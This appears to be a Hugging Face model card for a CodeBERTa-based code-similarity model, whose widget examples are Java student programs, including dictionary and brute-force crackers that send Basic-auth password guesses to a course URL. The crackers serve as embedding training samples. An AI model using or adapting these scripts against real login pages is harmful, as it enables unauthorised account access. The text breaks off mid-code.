File size: 137,348 Bytes
a07f790 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 |
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:42960
- loss:BatchAllTripletLoss
- loss:TripletLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\
\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\
\ String line;\n while ((line = in.readLine()) != null) {\n \
\ System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\
\ String();\n String c2 = new String();\n String c3 = new String();\n \
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\
\ username, String password) {\n return \" \" + base64Encode (username + \"\
:\" + password);\n }\n\n private final static char base64Array [] = {\n \
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\
\n private static String base64Encode (String string) {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\
\ = 0;\n pad = 1;\n }\n else\n b3\
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n"
- "import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\n\
import java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\
\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\n\
import javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\n\
import javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n \
\ static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(\"smtpServer\"\
);\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(\"\
recipient\");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(\"\
sender\");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(\"\
messageHeader\");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\
\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip\
\ = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject\
\ = MESSAGE_HEADER;\n\t\t\tString body = \"Testing\";\n\n\t\t\tSystem.out.println(\"\
Started sending the message\");\n\t\t\tMailsend.send(smtpServer,recip , from,\
\ subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\
\t\t\t\t\"Usage: java mailsend\"\n\t\t\t\t\t+ \" smtpServer toAddress fromAddress\
\ subjectText bodyText\");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic\
\ static void send(String smtpServer, String receiver,\tString from, String subject,\
\ String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\
\n\t\t\t\n\n\t\t\tprops.put(\"mail.smtp.host\", smtpServer);\n\t\t\tprops.put(\"\
mail.smtp.timeout\", \"20000\");\n\t\t\tprops.put(\"mail.smtp.connectiontimeout\"\
, \"20000\");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props,\
\ null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\
\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\t\
InternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\
\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\
\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println(\"sent the email with the\
\ differences : \"+ + \"using the mail server: \"+ smtpServer);\n\n\t\t}\n\t\t\
catch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\
\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\
\ String line;\n while ((line = in.readLine()) != null) {\n \
\ System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\
\ String();\n String c2 = new String();\n String c3 = new String();\n \
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\
\ username, String password) {\n return \" \" + base64Encode (username + \"\
:\" + password);\n }\n\n private final static char base64Array [] = {\n \
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\
\n private static String base64Encode (String string) {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\
\ = 0;\n pad = 1;\n }\n else\n b3\
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n"
- "\npublic class CasePasswords\n{\n\n \n static int verbose = CrackingConstants.quietMode;\n\
\n \n\t\n\tpublic void CasePasswords()\n\t{\n }\n\n\t\n\tpublic void CasePasswords(int\
\ inVerbose)\n\t{\n\t verbose = inVerbose;\n }\n\n\t\n public String\
\ [] createCasedPasswords( int leftIndex, int midIndex, int rightIndex, String\
\ tail, String [] lowerChars, String [] upperChars, int scanType)\n {\n \
\ String [] casedPasswords = null;\n \n \n \n \
\ if(scanType == CrackingConstants.casedScan)\n if(rightIndex > -1)\n\
\ {\n \n casedPasswords = new String[8];\n\
\ }\n else if(midIndex > -1)\n {\n \
\ \n casedPasswords = new String[4];\n }\n \
\ else\n {\n \n casedPasswords\
\ = new String[2];\n }\n else \n {\n \n \
\ casedPasswords = new String[1];\n }\t\n \n \
\ \n \n \n if(scanType == CrackingConstants.casedScan)\n\
\ {\n if(rightIndex > -1)\n {\n \n\
